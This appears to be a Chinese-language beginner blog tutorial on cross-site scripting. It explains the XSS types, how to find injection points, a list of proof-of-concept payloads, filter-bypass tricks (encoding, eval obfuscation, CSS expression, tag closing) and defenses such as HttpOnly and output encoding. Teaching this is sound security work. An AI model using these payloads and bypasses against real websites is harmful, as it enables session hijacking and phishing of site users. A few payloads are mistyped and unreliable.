xMonica

简介XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。

产生原因网站对用户的输入没有进行严格的限制,导致用户输入的数据可以修改当前的页面或者插入一段脚本。

XSS种类:反射性、存储行以及DOM型。

 

存储型:黑客构造XSS脚本内容,提交给后端WEB应用程序,WEB应用程序将留言保存在数据库中,管理员查看留言的时候触发XSS

攻击方式:在论坛、博客和留言板等地方进行发帖的过程中,将恶意脚本连同正常信息一起写入帖子中,当用户访问这个帖子的时候这个恶意脚本就会执行。

反射型:用户在浏览器中访问携带XSS脚本的链接,浏览器向后端应用程序发送请求,后端程序将URL中的XSS脚本数据写入到响应页面并返回给浏览器,浏览器发出响应页面并触发XSS

攻击方式:通过诱骗或加密的方式,将存在恶意代码的链接发给用户,当用户点击以后才能使攻击成功实施。

 

DOM型:用户在浏览器中访问携带XSS的链接,浏览器中JS从浏览器中提取XSS脚本的内容,并写入到DOM中触发XSS

攻击方式:用户请求一个经过黑客专门设计的URL,当用户的浏览器处理这个响应时,DOM对象就会处理XSS代码,导致存在XSS漏洞。

 

XSS攻击条件

1、需要向web页面注入恶意代码(用户可以随意输入数据)

2、输入信息可以在浏览器中显示

3、没有特殊字符的过滤和字符转义等防护措施。

4、浏览器将输入解析为脚本并执行。

漏洞挖掘思路

1、寻找输入点

当前页面存在可被用户控制输入的参数显示点

位置:留言板、在线信箱、评论栏、用户、标题、内容等,养成见框就X的习惯

2、测试输出位置

填写测试代码以后可以查看源码,根据HTML进行编写有效的XSS代码。

有些输出点不直接显示在前台,需要管理员进行点击,就需要进行盲打

盲打位置:留言板、意见反馈点、私信功能、文件上传点中的信息输入框、在线提交等。

证明存在XSS漏洞:在输入中插入一段可以产生弹窗效果的JavaScript脚本,如果刷新页面产生弹窗,表明XSS攻击测试成功存在XSS漏洞。

 

技巧:URL中存在汉字或带百分号的URL编时一般就可能存在XSS注入

常见payload:

 

<script>alert(/xss/)</script>

 

<script>alert(1)</script>

 

<img src=x onerror==alert(1)>

 

<svg onload=alert(1)>

 

<a href=javascriptslert(1)>

 

</textarea><script>alert(/xss/)</script> 

 

<ScriPt>alert(/xss/)</Script> 

 

<scr<script>ipt>alert(/xss/)</script> 

 

<iframe src="javascript:alert('xss')/">

 

<img src="javascript:alert('xss')"></img>

 

<img src=1 onerror=alert(/xss/)>

 

" onerror=alert(1) "

 

" onerror=alert(1) x="

 

"><script>alert(1)</script>

 

'><script>alert(/X/)</script>

常见绕过方法:

<textarea>标签绕过:
后台在处理数据的时候echo '<textarea>'.$a."</textarea>"; 代码被放在了文本框内
那我们就可通过闭合标签绕过   </textarea><script>alert("xx")</script><textarea>

利用HTML标签执行XSS:【浏览器必须支持伪协议 如:IE6】
<img src="javascript:alert('xss')">    
<table background="javascript:alert('xss')"></table>
<a href="javascript:alert('xss')">点击触发</a>

空格回车TAB绕过
<img src = "java script:alert('xss')">   中间的空格为TAB。
<img src="ja
vascript:alert('xss')">  通过回车分隔

 

ASCII转码:
<img src="javascr&#105pt:alert(/xxxx/)"> i的的ascii编码是&#105 此方法只能运用在HTML标签中

利用HTML中的事件触发XSS:
<img src="#"> 当src引用的图片不存在 触发onerror事件   (这也就是@m01lym0on 所用到的方法)
利用CSS跨站:
<div style="background-image:url(javascript:alert('sss'))">
<style>body{background-image:url(javascript:alert('saaa'))} ;</style>
<img src="#" style="xss:expression(alert('ssss'))">

如果style被禁:
<div style="list-style-image:url(javascript:alert('xxx'))">
<img style ="background-image:url(javascript:alert('sss'))">

外部引用含有XSS的CSS文件:
www.xxx.com/1.css里写入通过link引入
p{
     background-image:expression(alert('xss'))
}
在目标站通过link引入
<link rel="stylesheet" href="www.xxx.com/1.css">

通过@import直接执行javascript代码:
<style>@import “javascript:alert('sss')”;</style>

大小写混淆绕过:
<img src="#">

不用空格:
<img/src="javascript:alert('sss')">

通过全角字符绕过:
<div style="left:expression(alert('xx'))">

通过/**/,\0混淆过滤:
<img st/**/src ="javascript:alert('sssa')">
<style>@i\0mport "javascript:aler\0t('sss')";</style>

利用字符编码绕过:
<img src="javascript:&#97;lert&#40;&#39;xxxx&#39;&#41;">  10进制转义
<img src="javascript:alert('xxxx')">     16进制转义

<script>eval("alert('xaaa')")</script>  通过eval()函数执行js
<script>eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x78\x78\x78\x27\x29")</script>  16进制转码后通过eval函数执行
<img src="javascript:eval(String.fromCharCode(97,108,101,114,116,40,39,120,120,122,122,39,41))">       eval()配合String.fromCharCode()函数执行10进制脚本

代码拆分执行:
    <script>z='javascript:'</script>
    <script>z=z+'alert(/xxss/)'</script>
    <script>eval(z)</script>    可绕过字符长度限制

危害:

1、对于那些半年没有更新的小企业网站来说,发生XSS漏洞几乎没有什么用

2、但是在各类的社交平台,邮件系统,开源流行的Web应用,BBS,微博等场景中,造成的杀伤力却十分强大。

3、劫持用户cookie是最常见的跨站攻击形式,通过在网页中写入并执行脚本执行文件(多数情况下是JavaScript脚本代码),劫持用户浏览器,将用户当前使用的sessionID信息发送至攻击者控制的网站或服务器中。

4、又可以称为“框架钓鱼”。利用JS脚本的基本功能之一:操作网页中的DOM树结构和内容,在网页中通过JS脚本,生成虚假的页面,欺骗用户执行操作,而用户所有的输入内容都会被发送到攻击者的服务器上。

5、挂马(水坑攻击)

防御:

1、使用HttpOnly有助于缓解XSS攻击

2、输入过滤:白名单,在服务器端对输入进行格式检查,如在网站注册时填写的用户名只能为字母、数字的组合,手机号应该是不长于16位的数字;检查输入中是否包含一些特殊字符,如<、>、'、"、/等,如果发现,则进行过滤或编码;对输入进行XSS特征的匹配,如查找数据中是否包含“<script>”、“javascript”等敏感字符;

3、输出过滤:HTML编码、JS转义:一般来说,除了富文本的输出外,在变量输出到HTML页面时,可以使用编码或转义的方式来防御XSS攻击。针对HTML代码的编码方式是HtmlEncode,在PHP中,有htmlentities()和htmlspecialchars()两个函数可以满足安全要求;相应的,JavaScript的编码方式可以使用JavascriptEncode,JavascriptEncode与HtmlEncode的编码方式不同,它需要使用“\”对特殊字符进行转义。在对抗XSS时,还要求输出的变量必须在引号内部,以避免造成安全问题;除了HtmlEncode、JavascriptEncode外,还有很多用于各种情况的编码函数,比如XMLEncode、JSONEncode等。

注:新人搬砖,望诸位大佬留情!!!

 

posted on 2019-03-03 14:21 xxxMonica 阅读(...) 评论(...) 编辑 收藏

相关文章: